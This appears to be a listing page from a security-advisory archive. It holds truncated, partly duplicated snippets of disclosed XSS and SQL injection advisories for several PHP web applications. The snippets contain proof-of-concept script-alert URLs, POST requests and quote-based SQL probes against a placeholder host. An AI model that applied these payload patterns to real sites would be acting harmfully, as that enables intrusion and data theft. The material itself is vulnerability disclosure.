Opera’s HTTP authentication cuts off long server names at the end – Opera Security Advisories

Opera’s HTTP authentication cuts off long server names at the end – Opera Security Advisories OPCOM Team | July 19, 2007 Summary Opera’s HTTP authentication dialog cuts off long server name at the right hand end. Severity: Less severe Problem description Opera’s HTTP authentication dialog is...

geoClassifieds.txt

GeoClassifieds Enterprise 2.0.5.2 http://geodesicsolutions.com/products/classifieds/classifiedsenterprise.htm -------------------------- Cross Site Scripting XSS -------------------------- POST http://target.xx:80/index.php?a=10 HTTP/1.0 Host: target.xx Content-Type:...

GeoClassifieds Enterprise <= 2.0.5.2 Cross Site Scripting

GeoClassifieds Enterprise 2.0.5.2 http://geodesicsolutions.com/products/classifieds/classifiedsenterprise.htm -------------------------- Cross Site Scripting XSS -------------------------- POST http://target.xx:80/index.php?a=10 HTTP/1.0 Host: target.xx Content-Type:...

phpprobid524.txt

Phpprobid 5.24 http://www.phpprobid.com -------------------------- Cross Site Scripting XSS -------------------------- http://target.xx/auctionsearch.php?advsrc="alert/EllipsisSecurityTest/ http://target.xx/auctionsearch.php?start=1&advsrc="alert/EllipsisSecurityTest/ ------------- SQL injection...

Phpprobid <= 5.24 XSS SQL injection Vulnerability

Phpprobid 5.24 http://www.phpprobid.com -------------------------- Cross Site Scripting XSS -------------------------- http://target.xx/auctionsearch.php?advsrc="scriptalert/EllipsisSecurityTest//script http://target.xx/auctionsearch.php?start=1&advsrc="scriptalert/EllipsisSecurityTest//script...

musicBox234.txt

MusicBox 2.3.4 http://www.musicboxv2.com ------------ PHPinfo page ------------ /phpinfo.php -------------------------- Cross Site Scripting XSS -------------------------- http://www.target.xx/?id=alert/EllipsisSecurityTest/&page=0...

MusicBox <= 2.3.4 XSS SQL injection Vulnerability

MusicBox 2.3.4 http://www.musicboxv2.com ------------ PHPinfo page ------------ /phpinfo.php -------------------------- Cross Site Scripting XSS -------------------------- http://www.target.xx/?id=scriptalert/EllipsisSecurityTest//script&page=0...

Phorum 5.1.14 XSS SQL injection Vulnerability

Phorum 5.1.14 http://www.phorum.org -------------------------- Cross Site Scripting XSS -------------------------- POST http://target.xx:80/posting.php HTTP/1.0 Accept: / Content-Type: application/x-www-form-urlencoded Host: target.xx Content-Length: 447...

phorum5114.txt

Phorum 5.1.14 http://www.phorum.org -------------------------- Cross Site Scripting XSS -------------------------- POST http://target.xx:80/posting.php HTTP/1.0 Accept: / Content-Type: application/x-www-form-urlencoded Host: target.xx Content-Length: 447...

QTOFileManager.txt

-------------------------- Cross Site Scripting XSS -------------------------- http://target.xx/qtofm.php?delete=%3Cscript%3Ealert%22Ellipsis%20Security%20Test%22%3C/script%3E&u=username&pathext=1...

sNews13.txt

sNews 1.3 http://snews.solucija.com -------------------------- Cross Site Scripting XSS -------------------------- POST http://target.xx:80/index.php HTTP/1.0 Accept: / Content-Type: application/x-www-form-urlencoded Host: target.xx Content-Length: 88 pojam=alert/EllipsisSecurityTest/&search=sear...

blog-cms410.txt

BLOG:CMS 4.1.0 http://blogcms.com ------------- SQL injection ------------- http://target.xx/?1'SQL http://target.xx/?item='SQL http://target.xx/?blog='SQL http://target.xx/?member='SQL http://target.xx/?typeface=1'SQL http://target.xx/?results='SQL http://target.xx/?DokuWiki='SQL...

atutor153-xss-sql.txt

ATutor 1.5.3 http://www.atutor.ca -------------------------- Cross Site Scripting XSS -------------------------- http://target.xx/documentation/indexlist.php?lang="alert/EllipsisSecurityTest/ --- POST http://target.xx:80/registration.php?register=Register HTTP/1.0 Accept: / Content-Type:...

BLOG:CMS 4.1.0 SQL injection File Include Vulnerability

BLOG:CMS 4.1.0 http://blogcms.com ------------- SQL injection ------------- http://target.xx/?1'SQL http://target.xx/?item='SQL http://target.xx/?blog='SQL http://target.xx/?member='SQL http://target.xx/?typeface=1'SQL http://target.xx/?results='SQL http://target.xx/?DokuWiki='SQL...

sNews 1.3 XSS SQL

sNews 1.3 http://snews.solucija.com -------------------------- Cross Site Scripting XSS -------------------------- POST http://target.xx:80/index.php HTTP/1.0 Accept: / Content-Type: application/x-www-form-urlencoded Host: target.xx Content-Length: 88...

TBE 4.0 XSS

The Banner Engine - tbe4.0 Native Solutions -------------------------- Cross Site Scripting XSS -------------------------- http://target.xx/top.php?action=search&catid=catid&text=3Cscript3Ealert22Ellipsis+Security+Test223C/script3E...

QTOFileManager 1.0

-------------------------- Cross Site Scripting XSS -------------------------- http://target.xx/qtofm.php?delete=3Cscript3Ealert22Ellipsis20Security20Test223C/script3E&u=username&pathext=1...

NewsPHP 2006 PRO XSS SQL injection Vulnerability

http://newsphp.com ------------------ Cross Site Scripting XSS ------------------ http://target.xx/?words=3Cscript3Ealert/Ellipsis20Security20Test/3C/script3E&where=1 http://target.xx/index.php?id=3Cscript3Ealert22Ellipsis20Security20Test223C/script3E...

softbiz10.txt

Softbiz Banner Exchange Network 1.0 http://softbizscripts.com -------------------------- Cross Site Scripting XSS -------------------------- POST http://target.xx:80/insertmember.php HTTP/1.0 Accept: / Content-Type: application/x-www-form-urlencoded Host: target.xx Content-Length: 152...

newsphpXSS.txt

http://newsphp.com ------------------ Cross Site Scripting XSS ------------------ http://target.xx/?words=%3Cscript%3Ealert/Ellipsis%20Security%20Test/%3C/script%3E&where=1 http://target.xx/index.php?id=%3Cscript%3Ealert%22Ellipsis%20Security%20Test%22%3C/script%3E...